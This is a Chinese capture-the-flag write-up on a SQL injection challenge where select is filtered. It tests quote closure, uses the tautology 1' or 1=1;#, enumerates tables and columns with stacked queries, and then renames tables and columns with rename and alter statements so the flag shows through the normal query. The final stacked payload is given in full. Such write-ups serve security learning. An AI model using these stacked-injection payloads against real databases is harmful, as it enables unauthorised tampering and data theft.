开靶机,提交一下有回显,改一下2再提交,有变化,说明是sql注入,看一下闭合情况。
输入‘
可以判断为字符型注入,我们用万能密码试一下,1' or 1=1;#
可以看到没有进行过滤,而是直接输出了所有内容,在输入select看一下,发现被过滤,还有以下几种函数均被过滤:
尝试用堆叠注入:1';show tables;#
下面的是show tables的结果,我们看一下两个表中各有什么字段(注意1919810931114514要加上反引号``,不然出不来数据),
1';show columns from `1919810931114514`;#
1';show columns from words;#
可以看到1919810931114514里面有flag字段,应该就是我们的目标了,但是要读字段的内容的话需要select函数,但是被过滤了不行,所以我们要想一个绕过select函数的方法。还记得刚开始用万能密码时它将所有数据都爆出来了,所以我们可以利用这一点。我们观察一下他的输出结果发现有两个字段,再根据我们看到words里面的字段数也为2时可以得到猜测:
后台的执行语句应为:select id,data from words where id='';
那么我们的目的就很明确了:将有flag的表改名为words,然后再在其中加一列列名为id的字段,再将flag改名为data,最后用万能语句输出内容。
以下我将先在本地mysql命令行中演示,最后给出payload
一、改名:
使用MySQL中的rename函数
假设这个表中就含有flag值。我们在题目环境中填入的
1';rename table words to words2;rename table `1919810931114514` to words;#
在后台数据库中就为:
select id,data from words where id='1';rename table words to words2;rename table `1919810931114514` to words;#
先将words改为其他名字,再将1919810931114514改为words。
二、加字段,改字段名
因为后台要两个字段才行,所有我们随便加一个字段名为id
1';alter table words add id int(10) default '1';#
后面的意思就是加一列字段名为id,并将其的值赋为1,为int型
然后再将flag改名为data
1';alter table words change flag data varchar(1000);#
这些alter都是MySQL自带的,可以去官方的文档看看用法
可以看到已经修改完成
三、输出数据
select * from words where id='1' or 1=1;
所有最后的payload为:
1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);#
然后
1' or 1=1;#
拿到flag